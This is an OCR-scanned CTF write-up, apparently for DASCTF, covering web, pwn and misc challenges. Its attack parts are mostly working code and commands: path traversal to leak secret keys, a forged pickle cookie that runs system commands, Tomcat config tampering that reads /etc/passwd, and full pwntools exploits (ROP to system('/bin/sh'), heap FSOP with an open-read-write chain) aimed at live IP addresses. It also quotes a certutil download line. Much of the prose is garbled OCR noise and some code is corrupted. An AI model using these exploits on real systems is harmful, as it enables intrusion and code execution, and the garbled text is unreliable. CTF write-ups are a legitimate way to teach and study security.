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1-WEB

1.2 Lyrics For You

B, B@idihin /lyrics?lyrics=../app.py /lyrics?lyrics=../config/secret_key.py /lyrics?
lyrics=../cookie.py SKEXEEN XN,

SAIEIRT Fapp.pydIies, REiiEpicklemF56, secret_code ="EnjoyThePlayTimel23456"

1

2 @app.route("/lyrics", methods=['GET'])

3 def lyrics():

4 resp = make_response()

5 resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'



6 query = request.args.get("lyrics")

7 path = os.path.join(os.getcwd() + "/Llyrics", query)
8

9 try:

10 with open(path) as f:

11 res = f.read()

12 except Exception as e:

13 return "No lyrics found"

14 return res

15

16 @app.route("/board", methods=['GET'])
17 def board():

18 invalid = cookie_check("user", secret=secret_code)

19 if dnvalid:

20 return "Nope, invalid code get out!"

21

22 data = get_cookie("user", secret=secret_code)

23

24 if disinstance(data, bytes):

25 # XE T LI FRT

26 a = pickle.loads(data)

27 data = str(data, encoding="utf-8")

28

29 if "username" not in data:

30 return render_template('user.html', name="guest")

31 if data["username"] == "admin":

32 return render_template('admin.html', name=data["username"])
33 if data["username"] != "admin":

34 return render_template('user.html', name=data["username"])

AEIRIECcookie.pyWIAR, FIiEXEIRsecret_keyfAi&Ecookie, RAZATRIES, FTLUHOIESER
T

4 A
1 <

%P

o

(cos
system
S'whoami'

A W N -

o.

ERNEEEE, JLUBERBHEIE IR, BAlricsERmMITT .

ek Is -1/ & flag ' B IFMNIR, BRE—1 /readflag BSUIDIIR, HERILAIT, FR&RER
/readflag MAT T o



cookie_encode(('user',b"(cos\nsystem\nS'/readflag>/tmp/1.txt'\no."),
"EnjoyThePlayTime123456")

b'!13xKWCDVdw4ZYwfpwM1ghoQ==?
gAWVMWAAAAAAAACMBHVzZXKUQyYoY29zCnN5c3RIbQpTJy9yZWFkZmxhZz4vdGlwLzEudHhO
JwpvLpSGIC4='

#CookieB %! 3xKWCDVdw4ZYwfpwM1ghoQ==?
gAWVMWAAAAAAAACMBHVzZXKUQyYoY29zCnN5c3RIbQpTJy9yZWFkZmxhZz4vdGlwLzEudHh0OJ
wpvLpSGIC4=2 f5/iirl/board, ZAfEHEARllyrics?lyrics=/tmp/L.txtiEEXElflag:

< O M Q A FZ% | 139.155.126.78:37551/lyrics?lyrics=/tmp/1.txt

DASCTF{48949344237989860232131097774164}

1.3 tomtom2
1%BY /opt/tomcat/conf/tomcat-users.xml, FEIFAFRZEFS: admin This_is_my_favorite_passwd
RER—IXHLE

X R ABTENL, XHFEREELE xml BZ&RIQAQ. 1BRE xml| EEARFEEANA, B
WERT

BRIXNMBIIE 7 image preview AR T 23333

T EZERILIE, /opt/tomcat/webapps/myapp/uploads/xxx.xml, & Mk
/myapp/uploads/xxx.xml

HTXHRE ../a.xml fl /a.xml FEFRTT, a.jsp\x00.xml FEWARIT (ZFburpsuite,
FHjsci iy

& params B path=uploads, A P75 &R LIER

T T, BWEEART, ENEREZokH, EMEELE, BEFRMEEATA

53— Tweb.xml

A

http://139.155.126.78:33851/myapp/read?filename=/opt/tomcat/conf/brealid.xml

conf XK 2hE EIZRY

RUERA—EEX, BEE, BN, web.xml EREEEEE, =iAAIEHE—EHER disallow
ENBE— 1 Ekcontext. xmlZAFFH, BEFENT ZHEERBtomcat4d B Ao

context.xml EEAZEH L1 watched_resource 13, HiEtX web.xm| MIBEBHINER, HFTER
ERLAT

FiMdisallowrIHIEN ZF 2 NEE B &F & web.xml, 123web.xmltBban, web123.xmlAban


http://139.155.126.78:33851/myapp/read?filename=/opt/tomcat/conf/brealid.xml

B]ChatGPTial kM), B2 HContext.xmlER, web.xmlFT3&

1 <Context>
2 <Resources>
3 <PreResources

className="org.apache.catalina.webresources.DirResourceSet"

4 base="/"

5 webAppMount="/test"
6 internalPath="/"/>
7 </Resources>

8 </Context>

EiR X Fih1E) /test/flagit B H Fip R R AXHF PR /flag, BEREAFRE, HAM ZtomcatIfz&idid
50505, ffHEcontext.xmli&watchfEittB &R,

ROZEARTh T , AARSHREZERART, Bwebxml=EXHELEET, uploadsiEOEZEE T

RE, AJUER

RBEBTT, AILUBEIIE WEB-INF/tomcat-web.xml i#1T tomcat EE., EREZGHRAH cookies
5%, FHERRERE/MIN

http://139.155.126.78:36559/test/etc/passwd
LIS EERMINER T, Jetc/passwd #EEIET , B2 flag TEME
BAXNET , 50505, FHEKT Mlistings=true, ABEFEMIET - AKIE, FRIZW
CIESERE
£ web.xml FBRET XML X4 E] JSP Servlet

B LATE web.xml B I0— Servlet MRS, 3 .xml XEBRETE] JspServlet, X Tomcat 2Eid¥%
xml X HE JSP XX R IE,

i

<servlet>
<servlet-name>JSPFileServlet</servliet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servliet-class>
</servlet>

<servlet-mapping>
<servlet-name>JSPFileServlet</servlet-name>
<url-pattern>*.xml</url-pattern>

O 0o N oo 0 b W NP

</servlet-mapping>


http://139.155.126.78:36559/test/etc/passwd

IN7E /opt/tomcat/webapps/myapp/WEB-INF/web.xml B, XEFEFIFERIETLUEXmMIYjspit
77, ARLEEDMITT

HSER it , BERTIFER

YFEMSSEILL T, http://139.155.126.78:37374/myapp/uploads/a.xml, xmIRBRERT, B
antswordiE—T, ¥, RE7T, BEHFEGEHEERBxmMIAITT

Eweb.xmlBIfE, HiFupload® WEB-INF, AEHE LED, &%, FEFHEtomtom2-revenge
BARREARZ/xyXo ulsl, XNMHFIBEAFAHNZEMIE,

HUEX STNEARE, revengeNiZtBaE—iTE

BT, XHE/fffffflllllaaagggg, BmEriEflag. RKERRrevenge,

1 <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"

2 xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"

3 xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee

http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1"

metadata-complete="true">

<servlet>
<servlet-name>HelloServlet</servliet-name>
<servlet-class>HelloServlet</servlet-class>
10 </servlet>

12 <servlet-mapping>

13 <servlet-name>HelloServlet</servliet-name>
14 <url-pattern>/hello</url-pattern>

15 </servlet-mapping>

17 <servlet>

18 <servlet-name>LoginServlet</servliet-name>
19 <servlet-class>LoginServlet</servlet-class>
20 </servlet>

21

22 <servlet-mapping>

23 <servlet-name>LoginServlet</servlet-name>
24 <url-pattern>/login</url-pattern>

25 </servlet-mapping>

26

27 <servlet>

28 <servlet-name>UploadServlet</servlet-name>
29 <servlet-class>UploadServlet</servlet-class>
30 </servlet>

31

32 <servlet-mapping>


http://139.155.126.78:37374/myapp/uploads/a.xml

33 <servlet-name>UploadServlet</servlet-name>

34 <url-pattern>/upload</url-pattern>

B35 </servlet-mapping>

36

37 <servlet>

38 <servlet-name>ReadServlet</servlet-name>
39 <servlet-class>ReadServlet</servlet-class>
40 </servlet>

41

42 <servlet-mapping>

43 <servlet-name>ReadServlet</servliet-name>
44 <url-pattern>/read</url-pattern>

45 </servlet-mapping>

46

47 <servlet>

48 <servlet-name>EnvServlet</servliet-name>

49 <servlet-class>EnvServlet</servlet-class>
50 </servlet>

51

52 <servlet-mapping>

53 <servlet-name>EnvServlet</servliet-name>

54 <url-pattern>/env</url-pattern>

55 </servlet-mapping>

56

57 <servlet>

58 <servlet—-name>JSPFileServlet</servlet-name>
59 <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
60 </servlet>

61

62 <servlet-mapping>

63 <servlet-name>JSPFileServlet</servliet-name>
64 <url-pattern>*.xml</url-pattern>

65 </servlet-mapping>
66 </web-app>

qwq



1.5 tomtom2_revenge
EWMweb. xmlEART T, BRaEHKcontext.xml, T E2IRB_EE T context.xml,

1 <Context allowLinking="true'">

2
3 <!-- Default set of monitored resources. If one of these changes, the -
>
4 <!-— web application will be reloaded. ==
>
5 <Parameter name="l1istings" value="true" override="true" />
6 <WatchedResource>WEB-INF/web.xml</WatchedResource>
7 <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
8 <WatchedResource>${catalina.basel}/conf/web.xml</WatchedResource>
9 <WatchedResource>${catalina.base}/conf/brealid.xml</WatchedResource>
10 <WatchedResource>${catalina.base}/conf/context.xml</WatchedResource>
11 <Resources>
12 <PreResources
className="org.apache.catalina.webresources.DirResourceSet"
13 base="/"
14 webAppMount="/test"
15 internalPath="/" />
16 </Resources>
17
18 <!-- Uncomment this to disable session persistence across Tomcat restarts -
->
19 <l--
20 <Manager pathname="" />
21 ==2

22 </Context>

RIERBESEXHIRE T, ARRELENZR, flagXFER/LNM+H LN+ L Ma+ /L1 gZEmAY, B
BIMITT !

import requests

for i in range(l, 6):

1

2

3

4 for j in range(l, 6):
5 for k in range(1, 6):

6 for 1 in range(l, 6):

7 url = "http://139.155.126.78:34733/test/" + "f" * i + "1" % j
+ Ma" % ko + "g" ox 1

8 r = requests.get(url)



9 if "DASCTF" 1in r.text:
10 print(r.text)
11 exit()

a2 RINF B lagiBHR T

1 > python brute.py
2 DASCTF{33196881300746916895947590953212}

2 - PWN

2.1 pstack

1%iE%
1 #!/usr/bin/env python3
2 # —*- coding: utf-8 —*-
3 # expBy : @eastXuelian
4 # Debug : ./exp.py debug ./pwn -t -b b+Oxabcd
5 # Remote: ./exp.py remote ./pwn ip:port
6
7 from lianpwn +import *
8 from pwncli import *
9
10 cli_script()
11 set_remote_libc("libc.so.6")
12
13 do: tube = gift.io
14 elf: ELF = gift.elf
15 libc: ELF = gift.libc
16
17 new_stack = Ox601000 + Ox800
18 pop_rdi_ret = Ox0000000000400773
19 pop_rsi_2_ret = Ox0000000000400771
20
21 ru(b"Can you grasp this little bit of overflow?\n")
22 payload = flat({0x30: [new_stack, 0x4006B8]})
23 s(payload)
24
25 ru(b"Can you grasp this little bit of overflow?\n")



26 payload = flat({0x30: [new_stack + 0x40 - 8, Ox4006B8]})
27 s(payload)

28

29 payload = flat(

30 L

31 pop_rdi_ret,
32 elf.got.puts,
33 Ox4006BF,

34 ]

35 )

36 s(payload)

37

38 ru(b"\n")

39 Tlibc_base = u64_ex(ru(b"\n", drop=True)) - libc.sym.puts
40 1lg("libc_base'", 1libc_base)

41

42 new_payload = flat(

43 {

44 0x10: [

45 pop_rdi_ret + 1,

46 pop_rdi_ret,

47 libc_base + next(libc.search(b"/bin/sh\x00")),
48 libc_base + libc.sym.system,

49 ]

50 }

51 )

52 s(new_payload)

53

54 da()

55

56

2.2 TravelGraph
W2 delete 'FTHIRFARE route MEHIRKER, FH Ik guangzhou E guangzhou RYHEERERRT LA UAF
E—T fsop MIZFAI LT, BRI

A3, AIUFIBAREANBBERIFSMEL UAF, 247 transportation IFLR] LITERR A/, 3T
house of apple + magic_gadget orw, ZSRLAARIGR setcontext, LERXE—RIFEIFMANIEE !

https://bbs.kanxue.com/thread-272098.htm#msg_header_h3_29
H#8h svcudp_reply+26 1B1%1E % 23 _E7EEFT ROP:


https://bbs.kanxue.com/thread-272098.htm#msg_header_h3_29
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10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

#
#
#

expBy : @eastXuelian
Debug : ./exp.py debug ./pwn -t -b b+Oxabcd
Remote: ./exp.py remote ./pwn ip:port

from lianpwn dimport *

from pwncli +dimport *

cli_

set_

io:

elf:

script()
remote_Llibc("libc.so.6")

tube
ELF

gift.io
gift.elf

libc: ELF = gift.libc
context.log_level = '"debug"

# guangzhou

# nanning

# changsha

# nanchang
# fuzhou

def

def

def

cmd (choice):
ru(b"5. Calculate the distance.\n")
s1(i2b(choice))

add(transport, depart, dest, dist, data):
cmd (1)

ru(b"what kind of transportation do you want? car/train/plane?\n")
sl(transport)

ru(b"Please 1input the city name\n")
sl(depart)

ru(b"Please input the city name\n")
sl(dest)

ru(b"How far?\n")

sl(i2b(dist))

ru(b"Note:\n")

s(data)

delet(depart, dest):

cmd(2)

ru(b"Please 1input the city name\n")
sl(depart)

ru(b"Please input the city name\n")
sl(dest)



50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96

def show(depart, dest):
cmd (3)
ru(b"Please input the city name\n")
sl(depart)
ru(b"Please input the city name\n")
sl(dest)

add(b"car", b"guangzhou", b"guangzhou", 999, b"a")
add(b"car", b"guangzhou", b"nanning", 999, b"b")
add(b"plane", b"nanning", b"changsha", 999, b'"c")
add(b"car", b"changsha", b"nanchang", 999, b"d")

# add(b'"train'", b'"fuzhou'", b'"nanning'", 999, b'"b")

# add(b"car'", b'"changsha", b'"nanchang", 999, b"d")

# delet(b"fuzhou", b"nanning')

# add(b"plane", b''changsha", b'"nanchang'", 999, b'"d")

cmd (5)
ru(b"Please input the city name\n")
sl(b"nanchang")

delet(b"guangzhou", b"guangzhou")
add(b"plane", b"nanchang", b"nanchang", 999, b"a")
add(b"car", b"guangzhou", b"guangzhou", 999, b"a")

show(b"guangzhou", b'"guangzhou")

ru(b"Note:")

heap_base = (u64_ex(ru(b"\n", drop=True)) & OxFFFFFFFFFFFFFOOO) - Ox1000
lg("heap_base", heap_base)

delet(b"nanning", b"changsha")
delet(b"guangzhou", b"nanning")

add(b"train", b"guangzhou", b"guangzhou", 999, b"a" * 0x510)
show(b"guangzhou", b"guangzhou")

ru(b"Note:" + b"a" * 0x510)

libc_base = u64_ex(ru(b"\n", drop=True)) - Ox21ACEO
lg("libc_base", libc_base)

add(b"train", b"guangzhou", b"guangzhou", 999, b"a")
add(b"car", b"nanning", b"nanning", 999, b"b")
add(b"plane", b'"changsha", b'"changsha", 999, b'"c")
add(b"car", b"guangzhou", b"guangzhou", 999, b"d")



97

98

99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
159
140
141
142
143

delet(b"nanning", b"nanning")
delet(b'"changsha", b'"changsha")
add(
b"plane",
b"nanning",
b"nanning",
999,
flat({0x500: [0x520, 0x521, Ox1, Ox100000000003E7]}),

add(b"car", b"nanning", b"fuzhou", 999, b"d")

add(b"train", b"guangzhou", b"fuzhou", 999, b"d")
add(b"plane", b"guangzhou", b"guangzhou", 999, b"d")
# add(b'"car", b'"nanning", b'"fuzhou'", 999, b"d")
add(b"plane", b"guangzhou", b"guangzhou", 999, b"d")

delet(b"guangzhou", b'"fuzhou")
add(b"plane", b"guangzhou", b"guangzhou", 999, b"d")
delet(b"nanning", b"fuzhou")

cmd (4)

ru(b"Please input the city name\n")
sl(b"nanning")

ru(b"Please input the city name\n")
s1(b"guangzhou")

ru(b"Which one do you want to change?\n")
sl(b"0™)

ru(b"How far?\n")

sl(b"10™)

ru(b"Note:\n")

# 16a06a:> 48 8b 6f 48 > mov rbp, QWORD PTR [rdi+0x48]
# 16a06e:> 48 8b 45 18 >  mov rax,QWORD PTR [rbp+0x18]
# 16a072:> 4c 8d 6d 10 > lea r13, [rbp+0Ox10]

# 16a076:> c7 45 10 00 00 00 OO > mov DWORD PTR [rbp+0x10],0x0
# 16a07d:> 4c 89 ef > mov rdi,ri3

# 16a080:> ff 50 28 > call QWORD PTR [rax+0x28]

magic_gadget = libc_base + Ox16A06A

leave_ret = libc_base + Ox000000000004DA83
add_rsp_0x38_ret = libc_base + 0x000000000005A44E
pop_rdi_ret = libc_base + 0x000000000002A3E5
pop_rsi_ret = libc_base + 0x000000000002BE51
pop_rdx_2_ret = libc_base + Ox000000000011F2E7

_I0_wfile_jumps = libc_base + libc.sym._IO_wfile_jumps



144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190

_lock = 1libc_base + Ox21CA70
fake_IO_FILE = heap_base + 0x3390

fl = IO_FILE_plus_struct()

fl.flags =

ue4_ex (" sh;")

fl1._I0_read_ptr = 0x521
fl._I0_read_end = libc_base + 0x21ACE®O
fl._I0_read_base = libc_base + 0Ox21ACEQ

fl. lock =

_lock

fl. wide_data = fake_IO_FILE + OxEO

fl.vtable

_I0_wfile_jumps

fl. _I0_save_base = fake_IO_FILE + 0x520 + 0x100

payload = flat(

{
0: {
0: bytes(fl),
OXxEO: {
0x18: [0],
0x30: [0],
OxEO: [fake_IO_FILE + 0x200],
b
# Ox100: {0x68: [libc_base + libc.sym.system]},
0x200: {0x68: [magic_gadget]},
b
0x520: {

0: [0x520, 0x520, O, Ox1000003E7],
0x100: {
0: [OXDEADBEEF, add_rsp_0x38_ret],
Ox18: [fake_IO_FILE + 0x520 + 0x100],
0x28: [leave_ret],
0x38: [
pop_rdi_ret,
fake_IO_FILE + OxA48 + 0x200,
pop_rdi_ret,
fake_IO_FILE + 0xA48 + 0x200,
pop_rsi_ret,
0,
libc_base + libc.sym.open,
pop_rdi_ret,
3,
pop_rsi_ret,
fake_IO_FILE + OxA48 + 0x100,
pop_rdx_2_ret,
0x100,
0,



191 libc_base + 1libc.sym.read,
192 pop_rdi_ret,

193 1,

194 libc_base + libc.sym.write,
195 1,

196 1,

197 1,

198 OxA48: {

199 0: [

200 0x531,
201 libc_base
202 libc_base
203 heap_base
204 libc_base
205 1

206 0x200: b"/flag\x00",

207 },

208 }

209 )

210 s(payload)

211

212 add(b"plane", b"guangzhou", b'"guangzhou", 999, b"d")
213 cmd(9)

214

215 1da()

216

217 # 88423600807024982120743331231397

+

Ox21B110,

0x21B110,

©x3DD0,

libc.sym._IO0_Tlist_all - 0x20,

+

+

+

2.3 httpd
B ARFRRMR, 3218 httpd? EEERRKAUHIT LR
SRIBEMRETRE, XHRE %xx url HIBLETHE:

#!/usr/bin/env python3

# —*— coding: utf-8 —*-

#  expBy : @eastXuelian

# Debug : ./exp.py debug ./pwn -t -b b+0Oxabcd
#  Remote: ./exp.py remote ./pwn ip:port

from lianpwn import =*

from pwncli import *

© 0o N o b~ W N
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cli_script()
11 # set_remote_libc("libc.so.6")

=
N



13 do: tube = gift.io

14 elf: ELF = gift.elf

15 libc: ELF = gift.libc

16 context.log_level = '"debug"

17

18

19 def get_payload(command) :

20 payload = b"get /" + command + b" HTTP/1.0\r\n"
21 payload += b"Host: 127.0.0.1\r\n"

22 payload += f'"Content-Length: 100\r\n".encode ()
23 payload += b"Content-Type: application/x-www-form-urlencoded\r\n"
24 payload += b"Connection: close\r\n"

25 payload += b"\r\n"

26 return payload

27

28

29 # payload = get_payload(b'"cat%s20/flax>/home/ctf/html/index.html")
30 payload = get_payload(b"index.html")

31 s(payload)

32

33 da()

34

35 # 73037178244216013737456202378991

2.5 logger
RREHWHIRE T

SEWLIRB, 82 https://xz.aliyun.com/t/12967?
time__1311=GqGxuD9Qdiq052x%2BxCqiKKPxRhxfOUGR7bD

ELUNE CHOP, BEIENTRHEEE Hello, AFKITHIAHEREER rip #iis LEXME R4, &
RE#E# shell 7

#!/usr/bin/env python3

# —*x- coding: utf-8 —*-

# expBy : @eastXuelian

# Debug : ./exp.py debug ./pwn -t -b b+0Oxabcd
#  Remote: ./exp.py remote ./pwn 1ip:port

from lianpwn import *

from pwncli import *

© o N o b~ W N R

[
(o}

cli_script()
# set_remote_libc("libc.so.6")

o
N


https://xz.aliyun.com/t/12967?time__1311=GqGxuD9Qdiq052x%2BxCqiKKPxRhxfOuGR7bD

13 do: tube = gift.io

14 elf: ELF = gift.elf

15 libc: ELF = gift.libc

16

17

18 def cmd(choice):

19 ru(b"Your chocie:")

20 sl(i2b(choice))

21

22

23 def trace(data):

24 cmd (1)

25 ru(b"You can record log details here: ")

26 s(data)

27 ru(b"Do you need to check the records?")

28 sl(b"y"™)

29

30

31 def warn(data):

32 cmd(2)

33 ru(b"Type your message here plz:")

34 s(data)

35

36

37 for i in range(8):

38 trace(b"a" x 0x10)

39

40 trace(b"/bin/sh\x00")

41

42 payload = flat(

43 {0: [OxXDEADBEEF, OxDEADCAFE, OxCAFECAFE], Ox70:
11}

44 )

45 warn(payload)

46

47 # warn(flat({0x80: [OxDEADBEEF], 0x100: []}))

48

49 Hal()

50

51 # 94611941604724180481409014608611

[0x404200 + 8, Ox401BC2 +



3.1 hiden

N= N
VB

Exp

BARBE=MEIEE, FEEREA, ERWOT

O 0o N oo b~ W NP

10
11
12
13
14
15
16
17

import wave

with open('flag.txt', 'rb') as f:

txt_data = f.read()
file_len = len(txt_data)
txt_data = file_len.to_bytes(3, byteorder = 'little') + txt_data

with wave.open("test.wav", "rb") as f:

attrib = f.getparams()

wav_data = bytearray( f.readframes(-1) )

for index 1in range(len(txt_data)):

wav_data[index *x 4] = txt_data[index]
with wave.open("hiden.wav'", "wb") as f:
f.setparams(attrib)
f.writeframes(wav_data)
import wave
def extract_flag_from_audio(audio_file_path):
with wave.open(audio_file_path, "rb") as audio_file:
wav_data = bytearray(audio_file.readframes(-1))
extracted_bytes = []
for index in range(0, len(wav_data), 4):
extracted_bytes.append(wav_data[index])

file_len = 1int.from_bytes(extracted_bytes[:3], byteorder='little')
flag_data = bytes(extracted_bytes[3:3+file_len])

return flag_data

flag = extract_flag_from_audio("hiden.wav'")
print(flag)



3.31z_misc

*x*x H
&

I =

[43,101,55,16,16,1017,28,812,824,43,55,226,101,55,55,415,1017,1027,28,28,617,824,28,812,1027,
16,101,16,55,1027,1017,28,16] X—E#HF 2 + =K F-=+/\E7E HAS, B hint 48E, 1143
A, M “F FBRIEIMEHENENRT, BAXNMNRFRNNNZ+/\EBHENHE— “K° F
AICRHE=TE2BEIA 0 , U EA—SRHFIUNNOTER “OBOEZELELB O

HDEBEODODBODEEEEEELEEFTELENLEE

EEEF=EBH=EL=E=B8=

DHAR, BN, BADRAFSERBE#D, [EEREEEN E@SILY!

* %
7N

F¥12:

4489 hint.jpg @KEFE, EXZ Lyra, 1#EF) https://github.com/google/lyra, &7 M/hES5EARTCER
RTE R IR IZFAREIEEI— wav, NERE:

B EH BH BE ¥5 g B Mg FF 6H BH ALE &8 K& 5 FF A6 Mg E58 &8
EA XIE RE 5 k& Sl FF 5l 21F WE FF A58 FF FF RE il 2F B8R M =58
TE &E H M BA TF wE FF AL A6 HiE 258 Mg 258 A 5H F£3F k& 5l 21F
RE BH % F58 21F XA R RE A8 W1E Mg

HEFE ZONEMERSSE flag: DASCTF{WOw!_You_d0_4_g00d_jOb!}

3.4 miaoro
IR HTTP 3%, GWHT Base64 fighg:

1 echo Th15_11111111s_pP@sssssw000rd!!!>pass.txt
2 certutil -urlcache -f "http://192.168.1.3:801/secret.txt"

YR ER IR AN secret.txt, BIEF AW ZIP X4k, G,

def reverse_hex_bits(byte):
nn ||)§$:§_/I\$"_I‘_:“E/\J/I\ HEX 1ﬁ|| nn

high_nibble = byte & 0xFO

1
2
3
4
5 low_nibble = byte & OxOF
6
7
8
9

reversed_byte = (low_nibble << 4) | (high_nibble >> 4)

return reversed_byte


https://github.com/google/lyra

10
11 def reverse_file_hex(input_file, output_file):

12 with open(input_file, 'rb') as 1infile, open(output_file, 'wb') as outfile:
13 byte = infile.read(1)

14 while byte:

15

16 reversed_byte = reverse_hex_bits(ord(byte))

17

18 outfile.write(bytes([reversed_byte]))

19 byte = infile.read(1)

20

21 +if __name__ == "_main__":

22 input_file = '/home/crabtux/Downloads/download(3).dat'
23 output_file = 'output.bin'

24 reverse_file_hex(input_file, output_file)

25

26 input_file = 'output.bin'

27 output_file = 'output.zip'

28 with open(input_file, 'rb') as infile, open(output_file, 'wb') as outfile:
29 outfile.write(infile.read()[::-1])

30

31 print(f"R¥ HEX {UGMXHFE®REN: {output_file}")

32

1§ ZIP Xft, #EE1S flag2.jpg, —IREMHMFFT , HHEEARRFE EREFAERE:

INHR R IEE RS

ST EEIRAE flag UG HZ5

EIsRMEERE, AMITER https://www.exploit-db.com/exploits/48410, FHE—1 cookie A]
VRBRERNEZHEE, HEBHA1T, S5RMNZEEI AES BIRFFALRM T 1234567890abcdef

(2 2?2) , % Cookie 3% flag IE—1 B4, BIs:

('


https://www.exploit-db.com/exploits/48410

O© 0 N O b W N

=
(o]

from Crypto.Cipher +import AES
from base64 +import b64decode

# AES-CBC-128 decryption, iv from the first block of ciphertext
def decrypt_aes_cbc_128(key, ciphertext):

iv = ciphertext[:16]

cipher = AES.new(key, AES.MODE_CBC, 1v)

return cipher.decrypt(ciphertext[16:])

cipher =

"PGBTg3fgmEIidH1E+Fz7zVBICAKTR5RmTmyZCUX1g8gK13Bt7GQaFr7Wh1kL+hCDTq9Vff4kcalTiL
XPYsj8dCtR2SzEdQeP4jIY2Z3siUdZk2FMeSxEbt/4hzY5bmLUVKQh97Gu948+CKE9RsV+GT7BLtkNX
0aim80Cv409wi12Ck4zX07tnbWOiD6p4ZsQ2hzG81iF1/UlmagpdUuS49kZ6BDbgp3dYqZ16+u2TNIb/
jEKMMVX9X0bn4a9adFzeyCIQAFuBVrgDB/cpyvvwPAmMDKkKwyBdj8wWSBOztuo6x+vrOKDNrxLITGOSX
KrK1lKIsZAt831CbhiSYd8mgUtPiNkznWYx007mRaNFWBNiNyGegdvPNyh/NDF6e0IMkQQ6a770tq0+G
Nx7H/zYTB1xF+Id8b1T2XCQHSfkivOpERR53d23HSTsWeuFZBOYqq8mgLdfIk7hOYTuTFqwkhowfguA
0gW631ixU8cno/3tP1JJgkcpo81leWhY20/FPQw3jKyk5MfRE7714NVtSTzMZ9ebK1lYw/2fjPIydKI2nS
/VvsNGM1lebkKFbmwrdXYaIJIXMXRNEUYRTHOXgYsfQCy0zCgl5Df7BUe9sFY3azs2wS+q2Xo591nX358
CsE+mx1Guao0icEcvtEXIrqRMODWBcdGSKkjdEINngr3gMINUrLECh7 fMSW5ThBmnTwqzLZDtxZzAJxQv
klzsugMa+Uv1lhoc®07n5BrvDEAaiyWI6Akrlv+bprjhsdOy9VougWneTaItlt5nr5xQTZQbFHOIpxYq
00pmuVgrVIpgqaOX1407L/NyQBAZrrDgn5/1ic+43MH8S+XwArv56xnbMSUUopwi02/LAQSykmpjuOhLj
BD/sV+Faa7MeW+F1lbSM3hAo9mAWg3APUBHEOTatRrZDi2KNNWTKN4pThkh2vaxyWmXgBw/sOxZpULD+
TO4KeaMgNdbtKmmfLou4aQD614KIQMtp2mITKexuyfhraT30LuO6XU1QFd7Gei/FfRE/Jfh6zWXPR1n
7aVbuoJzmrUPSG8gQ1lm/Bn6nacE91TAF2QRwOt7d0j3Ti fnewAEAWMhTVWisA6KxXdIJWBOUujrE15Jh
edC+aa04Gzsv0ISe/sqGb1b5N9ik6sxBTPEWCVLLZzKCWEMIQRIYWX+gACpyH7IDOUHG/q+fgql9s5WQ
icyuKmO6F3JzbSQ1bTi9ZcnbKBVKmtDFhTP130vIyVbT66XxU4yQz8Xx1Wxg6u8zCCop6LKoz210X+J21
JRi7pICOqLkemICrSKNDbO+Rd+j6waysOcRolmKrhSvIIXzBfOqXvdIKRMW/ 7u4L fBTropLdIx3hhvK
fgVRNAKOhY4nUrspG3iI06fEpT82tIWYG1YOt/+u20SzPV3dOIQArSZG4YTEWnbLSpSVjPwSgswigo/
HSzRKwWBISyqi/JIcph+fts4iXiIWfSiFQG7WDvKpTOpwilumcisZzaEDuaVtziVgHY4PUMWFWD]jdbMo
I121S6670Yh3HgvPdFEZBKYZHOk1yjx6+hAONOO/kyttVDNgGXjNXcLK]jIBYOVS3RAtvsu3H5C4YxuaH
jejZtNe2If+EBzVfMg31kmdvwEKRk8gFUNTf/6gJh10mCozQc4hcdo/YddPCdw3Xz2ngpwCwktKmZ4Cw
AwPmNXzFu/nYF2WK1i 779 x4m/kqdNg+UcOKOFh6+90wMdLd309dCcMcebB4WOKUOb71icf2Fkule®KVa
PpjstiQjENwBsSQITTLbONdX7pZ1EZDzmjoGATEjuqpLeOBbrT6]jq]j163QGXtgK8bKQDsPz8906N1VCQ
NGrZ+Ld3Q0fMG5XsqGAGEqXWYLfwOAmccLF+L7r/UB2Wi1ljDOu9PIzs3bTRMUYTAOIKjIzkIQdT/sqga
tU6m6MISINtUNwWIOFrGoolQOFFjw6ZGABsdzFtqVurzOOAURFytfONCNPXZXglgh4Mp/ /vPnNNG1zN/Km
SZGFhwrj2 fKFmHfxKt10tthcee9kUTOCBU8jQ/0aGKkCwNHvV6B44cn7AIERbbeDT+gJVHsspDLjKpV
hFyGhi4ssU12erofINEQi3fo9XByIcrKym+pFimQOfnOqwkdXXVUUSzSxZ8G81/5y6E2SZWOWtXUeMj
CrW2PSpHL6qqFbA5948ahWxhJIx0JAKNazcfFOvyxcOn1lG7iRQkIZNMVQnsfT3Zj1DXFZvFX0isoUaw®
EyIivu4b29+8nIkUIQ8JoCReGaieZxpCoO00mMOh9j8yBDgIEF2G4i5TYFzSwQ2Pwl0je80+adliP7/3
T+414jq7LgBxBXqVzPMfSpO4UAPaO5UX9R8NMStSeLEBtTwtfGD/0I1A+1WgknHOib8Ad8v2nhDswZ0
7/0OPoEhLZsg4T4HIBMrelLVWtoe85JsrDheKpgKIJkUdhTkrGj1P/1a4E95QtS1ru9iD0d6Zj1pIlecR
CIJBQ45IyJtH13604h6kMIZ2YHC96gFLZ7uo354/EL/Y2AT0/mH70zFT/mFpE385alNIktepDiQl4+b
WNDNTiJ1y31FNchyXvkxelLPS004mR /xtdubdJO3ykYxKK+Y719HNg60gxt3wos5aFOw7MESOMMnrb/d
vAjqB3jFVXKdh+PbRxyQi2Ifov5xtmitQY6ye5k+2975dIji9fadcrisTtSFVKGDIHctYLItyN25GED
UYac9uomY3gNNFXE52EpQG7V9AUN1zcU6/kz9gAy23VmjAv /BwVOtOwb4y /0cM1InfUy/Ytt137L9gD
DFgnZPMs9WLDVUoT4tycFy900gJq8fLO9IOXUNTXRATKDP8DHHRBOR94t2PNZH7eaeZmuRhBYn/K11f4
